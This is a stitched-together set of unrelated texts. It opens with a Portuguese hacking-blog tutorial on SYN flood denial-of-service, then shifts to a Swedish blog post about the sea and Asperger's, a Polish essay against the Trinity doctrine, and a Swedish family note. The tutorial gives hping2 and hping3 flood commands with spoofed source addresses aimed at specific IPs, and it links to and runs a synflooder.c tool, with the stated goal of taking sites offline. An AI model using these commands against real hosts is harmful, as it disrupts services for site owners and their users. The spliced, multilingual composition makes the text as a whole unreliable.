Como o TCP é um protocolo confiável, que trata de desordenamento e perdas de pacotes, estes recursos não são poucos, pois envolvem buffers de envio e de recebimento, controle de números seqüenciais, relógios diversos, enfim, muitos recursos de memória, principalmente.
E o que acontece se uma máquina fizer o SYN (etapa 1), o servidor alocar recursos e responder com o SYN/ACK (etapa 2) mas o cliente não completa o handshake e não realiza a última etapa? Os recursos ficam alocados?
Ficam, mas não para sempre. O servidor fica esperando o ACK do cliente e se o mesmo não chegar depois de certo tempo, os recursos são desalocados. Mas o fato é que estes recursos realmente permanecem alocados por algum tempo, mesmo que curto.
Aí que entra o SYN Flood (tradução literal: inundação de SYN). Nele o atacante gera quantos SYN’s a máquina dele for capaz e não responde nenhum deles. Tem-se que o servidor vai alocar recursos para cada um, como se fossem requisições legítimas, só desalocando quando acabar o tempo. É perfeitamente compreensível que o atacante consegue gerar pacotes de SYN muito mais rapidamente e facilmente do que o servidor consegue tratá-los.
Claro, hoje temos hardware com capacidades de memória e recursos gigantescos, mas não existem recursos infinitos. “Nada que uma imensidão de bots não consiga fazer parar”. Mais cedo ou mais tarde os recursos se esgotarão e o servidor ficará incapaz de atender clientes legítimos.
Este é o SYN flood!
—————————————————————————————————
Vamos falar agora do famoso HPING

O HPING é um software poderoso quando se fala de ataque de negação de serviço e para tanto é preciso conhecer a relação cliente/servidor, ou seja, three-way handshake. As mensagens servidor/cliente são trocadas em 3 vias.

O cliente envia uma requisição de conexão: pacote com flag syn com um determinado número de sequência x. O servidor recebe o pacote e responde com uma mensagem de reconhecimento: flag syn-ack com um número de sequência x+1 e y. O cliente reconhece o pacote syn-ack com y+1 e  a conexão está estabelecida.

Para complementar, a conexão é fechada quando o cliente ou servidor envia um pacote com flag fin ou de forma abrupta com uma flag rst. Com base nestes conhecimentos, um ataque do tipo Syn-flood ou enxurrada de pacotes é utilizado para desestabilizar ou derrubar recursos computacionais e podem acontecer em vários níveis do protocolo TCP.

O ataque consiste no envio de uma grande quantidade de pacotes com flags setadas SYN para a vítima, de tal maneira que a mesma não consiga responder a todos as requisições. Com um grande número de pacotes SYN a pilha de memória sofre um estouro e todas as requisições são desprezadas. NO POST ANTERIOR EU NÃO EXPLIQUEI SOBRE OS PARAMETROS D HPING, AGORA EU VOU DAR UMA EXPLICADA RAPIDA.

Exemplos de ataque

Exemplo 1:
A sintaxe do comando é a seguinte:
$ hping2 <host da vítima> <parâmetros>

# hping2 23.23.23.2 -p 80 -S -c 3
HPING 23.23.23.2 (eth0 23.23.23.2): S set, 40 headers + 0 data bytes
len=44 ip=23.23.23.2 ttl=64 DF sport=80 flags=SA seq=0 win=32792 rtt=0.2 ms
len=44 ip=23.23.23.2 ttl=64 DF sport=80 flags=SA seq=1 win=32792 rtt=0.1 ms
len=44 ip=23.23.23.2 ttl=64 DF sport=80 flags=SA seq=2 win=32792 rtt=0.1 ms

Nesta linha disparamos: -p 80 -c 3 (-p aponta a porta de envio dos pacotes e -c –count count seta a quantidade de pacotes). Desta maneira podemos avaliar as respostas do alvo.
Exemplo 2:
# hping2 23.23.23.2 -p 80 -S –faster –rand-source
HPING 23.23.23.2 (eth0 23.23.23.2): S set, 40 headers + 0 data bytes

Nesta linha disparamos: -p 80 -S –fast –rand-source (-S setamos a flag como syn, –fast Alias for -i u10000. O Hping irá enviar 10 pacotes por segundos; –rand-source habilita o modo radom e troca o ip de origem dinamicamente). Desta forma enviaremos a cada segundo 10 tentativas de conexão sem esperar a resposta do host-alvo com ips diferentes a cada pacote enviado. Até o momento em que este alvo não poderá responder todas as requisições e o kernel negará o serviço.

Obs.: CUIDADO com o teste utilizando esta linha, pois o host de destino não irá responder caso a segurança necessária não esteja implementada.

Exemplo 3:

# hping2 23.23.23.2 -p 80 -S –faster –rand-dest
HPING 23.23.23.2 (eth0 23.23.23.2): S set, 40 headers + 0 data bytes

Nesta linha disparamos: -p 80 -S –fast –rand-dest (-S setamos a flag como syn, –fast Alias for -i u10000. O Hping irá enviar 10 pacotes por segundos; –rand-dest habilita o modo radom e troca o ip de destino dinamicamente). Desta forma enviaremos a cada segundo 10 tentativas de conexão sem esperar a resposta do host-alvo com ips alvos diferentes a cada pacote enviado.

As flags podem ser setadas das seguintes formas:

• -F –fin – Seta FIN tcp flag.
• -S –syn -Seta SYN tcp flag.
• -R –rst – Seta RST tcp flag.
• -P –push – Seta PUSH tcp flag.
• -A –ack – Seta ACK tcp flag.
• -U –urg – Set URG tcp flag.
• -X –xmas – Set Xmas tcp flag.

Modo de escuta:

• -9 –listen signature

HPING2 em modo de escuta. Utilizando esta opção o hping aguarda pelo pacote que contém esta assinatura e finaliza o pacote que contém a assinatura.

Exemplo.:
# hping2 -9 –listen 234-09sdflkjs45 -TESThello_word

Fonte: vivaolinux

Méritos tem que ser dados aos autores: cristofe, elgio e eu que trouxe este post para o meu blog

Introdução ao ataque com synflooder.c
Iae galera, vou demostrar como realizar um ataque SYN Flood pra derrubar sites (hosts), quem não conhece muito SYN Flood, recomendo que leia mais sobre o mesmo.

Eu usarei 2 metodos para realizar o ataque, um será  usando a ferramenta synflooder.c outro sera usando o hping3

Você pode baixar o hping no link abaixo:
synflooder.c —> http://www.4shared.com/file/119205535/bd36c580/SYN_Floodertar.html
hping —> http://www.hping.org/download.html

Obs: Para quem usa Debian, é muito fácil de instalar basta digitar:
# apt-get install hping3

Para quem usa OpenSUSE basta digitar:
# yast install hping3

Para quem usa Fedora basta digitar:
# yum install hping3
——————————————————————————————-

Agora o primeiro passo para realizar o ataque com o synflooder.c é compila-lo:
# gcc  synflooder.c -o synflooder

Obs: geralmente as pessoas reclaman de dar erro na compilação, uns merda… Pois, basta pegar algumas biblilhotecas que estarão faltando em alguns casos.

# ./synflooder

Gimme: ./synflooder <host> <port>
# ./synflooder 189.23.199.200 80

Connected No: 0
Connected No: 1
Connected No: 2
Connected No: 3
Connected No: 4
Connected No: 5
Connected No: 6
Connected No: 7
Connected No: 8
Connected No: 9
Connected No: 10
Connected No: 11
Connected No: 12
Connected No: 13
Connected No: 14
Connected No: 15
Connected No: 16

Depois de um tempo o site ficara impossibilitado de receber mais conexões e qualquer pessoa que tentar entrar no site, simplesmente não ira conseguir.

Obs: na minha opniao este ataque serve somente para passar medo em alguma pessoa, pois o servidor so fica fora do ar por alguns minutinhos básicos.
———————————————————————————————

ataque com HPING3

O hping3 é um programa muito util, pode ser usado para manipular o cabeçalho TCP/IP. Sera exatamente isto que vamos fazer, primeiro vamos spoofar o IP e floodar o alvo.

Atacando
O comando usado sera este:
hping3 –flood –syn -a ip_falso -e “Message” -S -s porta ip_alvo

Então no konsole vamos fazer assim:
#hping3 –flood –syn -a 123.123.123.123 -e “Dreamexplo” -S -s 80 201.40.22.164

O resultado sera que o alvo ira ficar OFF:
# hping3 –flood –syn -a 123.123.123.123 -e “Dreamexplo” -S -s 80 201.40.22.164

HPING 201.40.22.164  (ppp0 201.40.22.164): S set, 40 headers + 16 data bytes

[main] memlockall(): Success

Warning: can’t disable memory paging!

hping in flood mode, no replies will be shown

———————————————————————————————–

Espero que tenham gostado do tutorial.

ESTE FOI O TUTORIAL PRATICO. VOU CRIAR AGORA O TUTORIAL ESPLICATIVO QUE É O MAIS IMPORTANTE.

Presentation MDIA 1001

Ett glatt jamande utanför dörren tvingar mig upp ur sängen. Saga är en utekatt som beviljar spontan audiens för människor när det passar hennes schema. På torsdagsmorgonen erbjuder hon lite gos innan hon försvinner iväg till nästa spännande äventyr i något buskage, så jag slår upp dörren till uthuset där syster och jag bor och klappar henne genom dörrspringan. In vill hon inte; det har hon inte tid med.

När jag öppnar dörren är det första jag ser havet, och varje gång klickar det till i mig. Från den första skymten från tågfönstret söder om Kungsbacka till den sista vid samma plats tar mitt hjärta ett extra skutt varenda gång. Förmodligen är jag väldigt mycket turist och inlandsbo, men jag slutar aldrig att fascineras av havet. Alla olika färger, mönster, ljud och uttryck som något så enkelt som en massa vatten och en himmel kan ta sig. Variationen, och hur snabbt det kan förändras. Känslorna och kraften bakom.

Jag tror att det är så socialt inriktade personer uppfattar andra människor. De ser ett leende ansikte där jag ser olika muskelrörelser under ett hudstycke. Jag kan plugga in olika miner att läsa av och försöka använda dem, men det blir aldrig mer än någon slags ansiktsgymnastik. Ungefär som semaforers viftande med flaggor. Detalj för detalj, muskel för muskel, läser jag av och imiterar, men helheten går mig förbi. Ögonen likaså. De sitter alldeles för långt från munnen för att jag ska hinna med att se dem ordentligt.

Havet är ett ansikte att läsa av; En helhet som går att ta in och begripa. Det är inte många saker jag kan säga det om. Kanske är det inte så konstigt då att jag älskar havet.

Läs även andra bloggares intressanta åsikter om Aspergers syndrom, NPF, ADHD, havet, ansiktsblindhet, intryck, perception, psykologi, syn, kroppspråk, social kompetens, förståelse, människor, hjärnan

Dogmat o Trójcy Świętej okazał się antybiblijny. 7 biblijnych testów Trójcy udowodniło, że Pismo Święte nie tylko o niej nie uczy, lecz głosi coś odmiennego. Historię zbawienia w Jezusie Chrystusie, którego Ojciec “ustanowił [Odkupicielem] jeszcze przed stworzeniem świata” (1 Piotra 1:20).

Co jednak z Duchem Świętym? W koncepcji trynitarnej jest to trzecia Boska Osoba Trójcy, pochodząca od Ojca i Syna, zrodzona z miłości, równa im obu co do bóstwa i majestatu. Sprawdźmy, co mówi o tym Biblia. Znaleźliśmy 14 grup wersetów, których nie sposób pogodzić z poglądem, że Duch Święty jest osobą.

1. Pierwsza grupa takich tekstów uczy, że lud Boży w dniu Pięćdziesiątnicy oraz w domu Korneliusza został ochrzczony Duchem Świętym.
   Mat. 3:11; Mar. 1:8; Łuk. 3:16; Jana 1:33; Dz. Ap. 1:5; 11:16.
2. Wiele wersetów uczy też, że niektórzy są napełniani Duchem Świętym i że są pełni Ducha Świętego.
   Łuk. 1:15,41,67; Dz. Ap. 2:4; 4:8,31; 6:3,5; 7:55; 9:17; 11:24; Efez. 5:18; 2 Mojż. 31:3; 35:21,31.
3. Trzecia grupa wersetów mówi nam, że Duch Święty był wylewany na niektóre osoby, a ściśle mówiąc, na cały prawdziwy lud Boży Wieku Ewangelii oraz że będzie wylany na całą ludzkość w Tysiącleciu.
   Dz. Ap. 2:17,18,33; Izaj. 32:15; Ezech. 39:29; Joela 2:28,29.
4. Liczne wersety uczą, że Duch Święty jest, przebywa i zamieszkuje w prawdziwym ludzie Bożym.
   Jana 14:17; Rzym. 8:9,11; 1 Kor. 3:16; 6:19; Efez. 2:22; 2 Tym. 1:14; Jak. 4:15; 1 Piotra 1:11; 4:14; 4 Mojż. 27:18; Iz. 63:11; Ezech. 11:19; 36:26,27; 37:14; Dan. 4:8,9,18; 5:11,14.
5. Piąta grupa tekstów uczy, że Duch Święty jest na ludzie Bożym.
   Mat. 3:16; Łuk. 1:35; 2:25; Jana 1:32,33; Dz. Ap. 10:44; 11:15; 19:6; 1 Kor. 3:16; 4 Mojż. 11:17,25,26,29; 24:2; Sędz. 3:10; 6:34; 11:29; 14:6,19; 15:14; 1 Sam. 10:6,10; 11:6; 13:6; 19:20,23; 2 Kron. 15:1; 24:20; Izaj. 11:2; 42:1; 44:3; 59:21; 61:1; Ezech. 11:5.
6. Szósta grupa tekstów oznajmia, że lud Boży jest w Duchu Świętym.
   Rzym. 8:9; 14:17; Gal. 3:3; 5:16,25; Ezech. 37:1.
7. Siódma grupa wersetów uczy, że Jezus i Kościół są namaszczani Duchem Świętym.
   Łuk. 4:18; Izaj. 61:1; Dz. Ap. 4:27; 10:38 [porównaj: Mat. 3:16; 2 Kor. 1:21; 1 Jana 2:20,27].
8. Według Biblii wierny lud Boży pije Ducha Świętego.
   1 Kor. 12:13.
9. Jest także powiedzane, że Duch Święty jest w naszych sercach zadatkiem naszego dziedzictwa aż do chwili wyzwolenia.
   2 Kor. 1:22; 5:5; Efez. 1:14.
10. Ponadto, Biblia mówi nam, że Duch Święty jest udzielany nam przez Boga jako pieczęć stawiana na naszym pokrewieństwie z Bogiem aż do dnia wyzwolenia.
    2 Kor. 1:22; Efez. 1:13; 4:30.
11. Jedenasta grupa tekstów napomina do tego, by nie zagaszać Ducha.
    1 Tes. 5:19.
12. Biblia mówi o Duchu Świętym jako symbolicznym atramencie.
    2 Kor. 3:3.
13. Trzynasta grupa wskazuje na to, że Duch Święty dochodzi do poznawania prawd przez badanie i analizowanie ich.
    1 Kor. 2:10 [oraz cały fragment 2:7-16].
14. Wreszcie, Biblia mówi o Duchu Świętym jako darze oferowanym przez Boga i posiadanym przez lud Boży jako osobista własność.
    Łuk. 11:13; Jana 3:34; 7:39; Dz. Ap. 2:38; 8:17,18; 10:45,47; 15:8; 19:2; Rzym. 5:5; 8:15; 2 Kor. 13:14; Gal. 3:2; 4:6; Filip. 2:1; 1 Tes. 4:8; 2 Tym. 1:7; Żyd. 6:4; 1 Jana 3:24; 4:13.

Część wersetów wydaje się oczywista. Niektóre są jednak trudniejsze. Możemy teraz szerzej rozważyć poszczególne grupy. Podobnie, jak w teście dogmatu o Trójcy Świętej, i tym razem z pomocą przyjdzie nam prof. Paul S.L. Johnson. Wyjaśnia on wybrane przez nas grupy w książce “Chrystus – Duch – Przymierza“, o której wspomniałem ostatnio w notce Wszystko ma swój czas. Jeśli pojawią się dopiski lub uwagi z mojej strony, zostaną wyraźnie zaznaczone w tekście.

***

GRUPA 1: Prosimy zauważyć, że w tym przypadku środkiem dokonania chrztu był Duch Święty, tak jak przy chrzcie wodnym środkiem dokonywania chrztu jest woda. Według tych wersetów osobą dokonującą chrztu Duchem Świętym był Chrystus, który użył Ducha jako czynnika dokonania aktu chrztu. Nie zatrzymując się w celu dowodzenia, czy chrzest ma być dokonywany przez pokropienie, polewanie czy zanurzanie (są to jedyne trzy metody mające zwolenników), łatwo zauważyć, że osoba nie może być użyta jako element równoznaczny z wodą jako elementem chrztu wodnego, przy pomocy którego dokonywany jest chrzest. W jaki bowiem sposób ktoś może być pokropiony osobą? W jaki sposób osoba może być na kogoś wylana? Jak można kogoś zanurzyć w osobie? Ta grupa wersetów w oczywisty sposób zaprzecza poglądowi, że Duch Święty jest osobą.

GRUPA 2: Łatwo możemy zrozumieć, w jaki sposób ktoś może być napełniany pewnymi dobrymi zaletami, takimi jak dobroć, miłość, wiara itp., lub pewnymi złymi cechami, takimi jak gniew, nienawiść, złośliwość itp. Nie można jednak zrozumieć, w jaki sposób ktoś może być napełniony inną osobą i w ten sposób być jej pełen. Jeśli Duch Święty jest osobą, trudność ta staje się jeszcze większa, gdy przeczytamy, że według Biblii wiele osób jest napełnianych Duchem Świętym. Myśl taka byłaby bowiem równie absurdalna, co niemożliwa. Mamy więc kolejny biblijny fakt wynikający z wielu wersetów i zaprzeczający poglądowi, że Duch Święty jest osobą.

GRUPA 3: Gdyby Duch Święty był osobą, wersety te uczyłyby, że jedna osoba jest wylewana na inną, co nie da się pogodzić z myślami związanymi z taką czynnością. Wylewanie czegoś na jakąś osobę oznacza bowiem, że wylewany jest jakiś płyn, cecha lub moc. Absurd staje się jeszcze większy, jeśli w tym samym czasie wylewanie dotyczyło wielu osób, jak miało to miejsce w dniu Pięćdziesiątnicy i w domu Korneliusza. Pogląd o Duchu Świętym jako osobie z pewnością jest sprzeczny z naszą trzecią grupą tekstów.

GRUPA 4: Oczywiste jest, że w osobie może być cecha, moc lub siła. Nie do pomyślenia jest jednak, by osoba była w innej osobie. Jeszcze bardziej nie do pomyślenia jest to, by osoba znajdowała się w wielu osobach na całym świecie w tym samym czasie, tak jak Duch Święty w tym samym czasie znajduje się w wielu osobach na całym świecie. Ta grupa wersetów przeczy zatem poglądowi, że Duch Święty jest osobą.

GRUPA 5: Gdyby Duch Święty był osobą, wersety te uczyłyby, że siedział, stał lub spoczywał on nie tylko na jednej, lecz na wielu osobach na całym świecie, i tow tym samym czasie. Taka myśl jest nie tylko nieprawdopodobna i nonsensowna, lecz także sprzeczna z naszą piątą grupą wersetów.

GRUPA 6: Gdyby Duch Święty był osobą, ta grupa wersetów dowodziłaby, że musiałby być rozciągnięty na cały świat, ponieważ lud Boży jest rozrzucony po całym świecie. W wyniku tego każdy z nich znajdowałby się tylko w części Niego, co sprawiłoby, że posiadanie Go przez nich byłoby posiadaniem nieskończenie małej Jego części. Takie absurdy nie są oczywiście nauczane w tych wersetach, co byłoby faktem, gdyby Duch był osobą. Ta grupa odnośników przeczy więc poglądowi, że Duch jest osobą.

GRUPA 7: Prosimy zwrócić uwagę na fakt, że fragmenty te nie mówią o Duchu Świętym jako namaszczającym, lecz jako o samej maści – tym,  czym (a nie przez co) dokonywane jest namaszczenie. Przez wylanie lub wtarcie maści w tego, który ma być namaszczony, literalne namaszczenie czyni człowieka pachnącym, upiększa i przygotowuje go do wykonania zadania gładko i bez tarcia. Symboliczne namaszczenie czyni człowieka duchowo pachnącym i pięknym, przygotowując go do wykonania jego dzieła gładko i bez tarcia. Ani literalne, ani symboliczne namaszczenie nie może być dokonane przy pomocy osoby użytej jako maści, ponieważ taka myśl jest niedorzeczna i z pewnością przeczy cytowanej przed chwilą grupie wersetów. Duch Święty nie jest więc osobą.

GRUPA 8: Poprawne tłumaczenie stosownych słów można znaleźć w przekładach A.R.V. lub Rotherhama [„Albowiem w jednym Duchu wszyscy w jedno ciało jesteśmy zanurzeni – czy to Żydzi czy Grecy, niewolnicy lub wolni – i wszyscy pijemy jednego Ducha” – przypis tł.]. Werset ten mówi, że Duch Święty jest wypijany. Gdyby jednak Duch Święty był osobą, jak moglibyśmy go pić? Byłoby to niedorzeczne. Fragment ten dowodzi więc, że Duch Święty nie jest osobą.

GRUPA 9: Zadatek to zaliczka, jaką nabywca posiadłości daje w formie gwarancji sprzedającemu, że nabędzie i zapłaci pełną cenę za posiadłość w ustalonym terminie, którą sprzedający przyjmuje jako gwarancję, że dokończy procesu sprzedaży. Tak więc Bóg udziela Swemu ludowi Ducha Świętego jako częściową zapłatę oraz Jego gwarancję, że udzieli mu pełnego dziedzictwa w dniu wyzwolenia, gdy lud Boży doprowadzi do końca swój udział w tej transakcji, tzn. gdy zakończy wypełnianie swego poświęcenia. Skoro według tych wersetów Duch Święty jest zadatkiem, zaliczką, tzn. częścią tego, co Bóg zgadza się udzielić Swym wiernym, nie może być osobą, ponieważ jest on częścią ich dziedzictwa. Poza tym kto w jakimkolwiek innym przypadku poza niewolnictwem kiedykolwiek słyszał o tym, by ktoś był częściową spłatą dziedzictwa? Taka rzecz jest absurdalna. Na podstawie faktu, że Duch Święty jest zaliczką naszego dziedzictwa, udzielaną nam jako gwarancja, dopóki nie dostaniemy pełnego dziedzictwa, rozumiemy, iż nie jest on osobą.

GRUPA 10: Pieczęci używane są do usankcjonowania, uprawomocnienia transakcji (Jer. 32:9-12; Jana 3:33; 6:27; 1 Kor. 9:2) oraz do udzielenia czemuś zabezpieczenia, gwarancji (Est. 8:8; Ijoba 41:15; Dan. 12:4; Obj. 5:1). Zauważmy, że w Efez. 1:13 i 4:30 Duch Święty sam nazwany jest pieczęcią, tj. tym, czym pieczętowany jest lud Boży. Czyni on prawomocnym nasz związek z Bogiem jako synów i dziedziców i jest gwarancją istnienia tego związku między Bogiem a nami. Nikt nie jest jednak w stanie wyjaśnić ani zrozumieć, w jaki sposób ktoś mógłby być pieczęcią, którą jesteśmy zapieczętowani w znaczeniu ważności i gwarancji. Osoba nie jest bowiem pieczęcią świadczącą o ważności, a jednocześnie gwarantującą pokrewieństwo ojcostwa, synostwa i dziedzictwa, istniejące między Bogiem a nami. Duch Święty nie może zatem być osobą.

GRUPA 11: Ci, którzy utrzymują, że Duch Święty jest osobą, twierdzą, że jako taki Sam jest Wszechmogącym Bogiem w trzeciej osobie. Nie może to być prawdą, bo gdyby nią było, święty Paweł tak uroczyście nie napominałby nas do tego, by nie zagaszać Ducha (1 Tes. 5:19). Napominałby nas wówczas bowiem do tego, byśmy nie niszczyli istnienia Wszechmogącego Boga, którego zniszczenie jest rzeczą niemożliwą do wykonania. Wyobraźmy sobie słabego człowieka niszczącego istnienie Wszechmogącego! Ten jeden werset sam dowodzi, że Duch Święty nie jest osobą, ponieważ osoby nie są zagaszane. Gaszone są pożary, gorączki, gorące uczucia, lecz nie osoby. Ten werset zakazujący rzeczy, która jest możliwa do wykonania, dowodzi, że Duch Boży nie jest osobą, nie mówiąc już o tym, by był trzecią osobą w Bogu.

GRUPA 12: Biblia mówi o Duchu Świętym jako o symbolicznym atramencie, co możemy zauważyć w 2 Kor. 3:3. W wersecie tym Apostoł dokonuje kontrastu między literalnymi listami pisanymi przez niego literalnym atramentem a symbolicznymi listami pisanymi przez niego Duchem Świętym jako symbolicznym atramentem. Literalne listy były pisane przez niego jako ludzkie narzędzie na papierze, pergaminie itp., piórem i atramentem; a symboliczne listy – pracą jego serca jako sługi Bożego, który używał pióra Boskiego Słowa oraz atramentu Boskiego Ducha do pisania symbolicznych listów – listów Chrystusowych, jak je nazywa. Jeśli Duch Święty jest symbolicznym atramentem, nie może być osobą, ponieważ w jaki sposób osoba mogłaby być symbolicznym atramentem, którym pisane są listy Chrystusowe? Zaprzeczając poglądowi, że Duch Święty jest osobą, werset ten dowodzi zatem, że tak nie jest.

GRUPA 13: Ci, którzy nauczają, że Duch Święty jest osobą, uczą także, że jest on Wszechmogącym Bogiem w Jego trzeciej osobie. Gdyby było to prawdą, Duch Święty byłby wszechwiedzący dzięki intuicji, w wyniku czego nie dochodziłby do poznawania prawd przez badanie, analizowanie ich, lecz od zawsze znałby je intuicyjnie, tj. bez studiowania i badania. Biblia uczy jednak (1 Kor. 2:10), że Duch Święty bada, poznaje wszystkie duchowe rzeczy. Nie jest więc Wszechmogącym Bogiem w trzeciej osobie i wcale nie jest osobą, ponieważ tego badania dokonuje on przez intelektualne zdolności ludu Bożego, o czym uczy 1 Kor. 2:7-16. Duch Święty nie jest więc osobą.

GRUPA 14: Gdyby bowiem Duch Święty był osobą, nie mógłby być oferowany, otrzymywany i w coraz większym stopniu posiadany przez wielu, a stopniowo pomniejszany przez wielu innych. Wersety te obalają pogląd, że Duch Święty jest osobą.

Denna LILL-LÖRDAG ska vi mumsa på detta…

Jag å lillan har varit till ögonläkaren med henne idag…synen har blivit lite bättre. Det går framåt:)

Sedan åkte vi å köpte en barbiedocka. Jag mutade henne med det för jag hade egentligen lovat att åka till lekpalatset men min huvudvärk skulle inte bli så mycket bättre av fullt med barnskrik. Hon blev nöjd å glad i alla fall…vilken tur. Men hon begärde oxå ett litet cafébesök…

Nu sitter vi å gosar i soffan å väntar på att min syster Jannic ska komma över å “fira” denna underbara lill-lördag med oss.

Hoppas du oxå har det mysigt!

Uznanie wiary w Trójcę Świętą jest pierwszym koniecznym warunkiem wstąpienia do Światowej Rady Kościołów. Ta jedna doktryna łączy największe wyznania, lecz wciąż jest też nazywana “wielką tajemnicą wiary”. Spróbujmy zbadać tę tajemnicę przy pomocy Pisma Świętego. Czy Biblia także mówi o Trójcy? A może mistycyzm tego poglądu tkwi w mistyfikacji?

“Umiłowani, nie każdemu duchowi wierzcie, lecz badajcie duchy, czy są z Boga, gdyż wielu fałszywych proroków wyszło na ten świat” ~ 1 List Jana 4:1

Apostoł Jan zachęca do badaniach duchów. Jak jednak mamy to robić? Oczywiście za pomocą Bożego Słowa, które zawarte jest w Biblii. Istnieje siedem podstawowych, biblijnych testów podawanych nauk.
Aby interpretacja wersetu biblijnego czy też doktryny była prawdziwa, musi ona być zgodna:

1. sama ze sobą
2. z każdym wersetem Biblii
3. każdą doktryną Biblii
4. Boskim charakterem
5. okupem – ofiarą złożoną przez Jezusa raz za wszystkich
6. faktami
7. celami Biblii - wielbieniem Boga jako Najwyższego, uznaniem Chrystusa jako Wykonawcy i Rzecznika Boga oraz przyczynianiem się do realizacji Boskiego planu wobec Kościoła i świata

W zbadaniu Trójcy Świętej pomoże nam prof. Paul S.L. Johnson, autor Epifanicznych Wykładów Pisma Świętego. Ten wybitny pastor i teolog, choć dziś spogląda na nasze poczynania z niebios, opracował kiedyś bardzo ciekawy raport o tym, jak na tle wersetów Biblii, prezentuje się nauka o Bogu Troistym.

W tym miejscu zaczynają się fragmenty książki Paula S.L. Johnsona pt. “Bóg”. Jeśli pojawią się dopiski lub uwagi z mojej strony, zostaną wyraźnie zaznaczone w tekście.

Doktryna trynitaryzmu mocno uderza w każdy z tych siedmiu pewników, i jako taka jest oczywiście fałszywa.

(1) Jest oczywiście fałszywa, ponieważ przeczy sama sobie: 3×1=1, 1=3 a 3=1. Inne sprzeczności pokażemy w punkcie (3) i (5).

(2) Przeczy ona wielu wersetom, np. (a) tym, które uczą, że Ojciec w przeciwieństwie do wszystkich innych jest jedynym Bogiem i że w przeciwieństwie do wszystkich innych jest On Najwyższą Istotą (Jan 17:3; 1 Kor.8:4,6; 1 Tym.2:5 por. z Gal.3:20; Judy 25). Ponieważ wersety te ukazują kontrast między Ojcem a Synem i tylko Ojca nazywają Jedynym Bogiem, oznacza to, że tylko On jest Najwyższą Istotą. Stosują się tutaj wersety uczące o wyłącznej supremacji Ojca (Jan 14:28; 10:29; 1 Kor.3:23; 11:3; 15:28; 1 Ptr.1:3; Ps.45:7,8; Iz.42:8). Ponieważ wszystkie te teksty uczą o wyższości Ojca wobec Syna, który zaraz po Bogu jest najwyższą Istotą we wszechświecie, miejsce najwyższej supremacji musi zajmować Bóg, Jego Ojciec. (b) wszystkie wersety traktujące o jedności Boga mówią o Nim jako tylko o jednej osobie, istocie, a żaden nigdy nie mówi o Nim jako o trzech osobach w jednej istocie. Wiersze te dowodzą zatem, że tylko Ojciec jest Najwyższą Istotą (5 Moj.6:4 por. z Mar.12:29; 1 Król.8:60; Zach.14:9; 1 Kor.8:4; Gal.3:20; 1 Tym.1:17; Jak.2:19). W punkcie (b) prosimy także zwrócić uwagę na teksty z punktu (a). Wersety te bardzo jednoznacznie uczą, że jest tylko jeden Bóg. Ani one, ani żaden inny werset biblijny w najmniejszym stopniu nie twierdzą, że istnieją trzy osoby będące Bogiem i stanowiące jednego Boga.

Jedynym tekstem, który wydaje się w jakimkolwiek stopniu potwierdzać taką doktrynę, jest 1 Jana 5:7,8. Jednak znawcy oryginalnego, greckiego tekstu powszechnie dzisiaj uważają, że fragment ten jest interpolacją. Po raz pierwszy wśliznął się do greckiego tekstu w XIV w. Żadne tłumaczenie sprzed tego wieku nie zawiera go, zawierają go natomiast niektóre późniejsze manuskrypty łacińskiej Wulgaty, przepisywane nie więcej niż pięć stuleci wcześniej. Interpolacja ta początkowo została wprowadzona do pewnych manuskryptów Wulgaty, a stamtąd w XIV wieku została po raz pierwszy włączona do tekstu greckiego. Gdyby tekst ten znajdował się w Biblii wtedy, gdy toczyły się spory trynitarskie między IV a VIII wiekiem, trynitarze którym bardzo brakowało takiego tekstu z pewnością użyliby go jako dowodu. Jednak nikt z nich nie użył go w ten sposób z prostego powodu, że nie znajdował się on wówczas w Biblii. Niewątpliwie wśliznął się on do łacińskiego tekstu przy przepisywaniu z marginesu, gdzie został zapisany przez kogoś jako jego własny komentarz do tego tekstu. Kopista wprowadził go do właściwego tekstu łacińskiego, skąd jak już powiedzieliśmy po raz pierwszy został przetłumaczony do manuskryptu greckiego w XIV wieku. Następny zawierający go manuskrypt grecki pochodzi z wieku XV. Gdybyśmy jednak nawet założyli, że tekst ten jest prawdziwy, wcale nie dowodziłby on, że Ojciec, Syn i Duch Święty są jednym Bogiem. Greckie słowo oznaczające tutaj „jeden” to bowiem hen i jest rodzaju nijakiego; słowo theos (po grecku Bóg) jest rodzaju męskiego i nie może się po nim pojawić, ponieważ w tym przypadku greckim słowem oznaczającym jeden musiałoby być heis (rodzaj męski). Nie można też po nim wstawić greckiego słowa oznaczającego istotę (ousia), ponieważ ousia jest rodzaju żeńskiego i wymagałaby żeńskiej formy jeden – mia. Gdyby ten tekst był prawdziwy, w wersecie tym po hen musielibyśmy wprowadzić rzeczownik rodzaju nijakiego, np. taki jak pneuma (usposobienie), tak jak musimy to zrobić u Jana 10:30: „Mój Ojciec i ja jesteśmy jednym” (hen) usposobieniem. Nie może to być theos (Bóg) ani ousia (istota), ponieważ wymagałyby one kolejno męskiego heis i żeńskiego mia. Zgadzamy się, że Ojciec, Syn i Duch Święty są jednym w usposobieniu, jednym w sercu, umyśle i woli, lecz nie są jednym Bogiem. Biblia nigdzie nie rozróżnia trzech osób w jednej Istocie jako Boga, czego wymaga doktryna trynitarska. Nigdy też nie uczy, że istnieje taka istota, która byłaby czymś więcej niż jedną osobą, ponieważ jedna osoba to jedna osobowa istota, a jedna osobowa istota jest w Biblii zawsze jedną osobą i nigdy nie jest niczym więcej. Tworząc kopię wszystkiego, co znajduje się w Biblii, szatan sfabrykował w ciemnych wiekach pogląd o prawdziwym Bogu jako jednej istocie składającej się z trzech osób. Unikajmy tej niebiblijnej, nielogicznej i niezgodnej z faktami różnicy między słowami osoba a istota w odniesieniu do osobowej istoty. Jest to oczywistym błędem wymyślonym przez szatana w celu oszukiwania – dziełem ciemności, sprzecznością, której nikt nie potrafi zrozumieć ani wyjaśnić, podczas gdy wszystkie doktryny Biblii są wytłumaczalne i zrozumiałe.

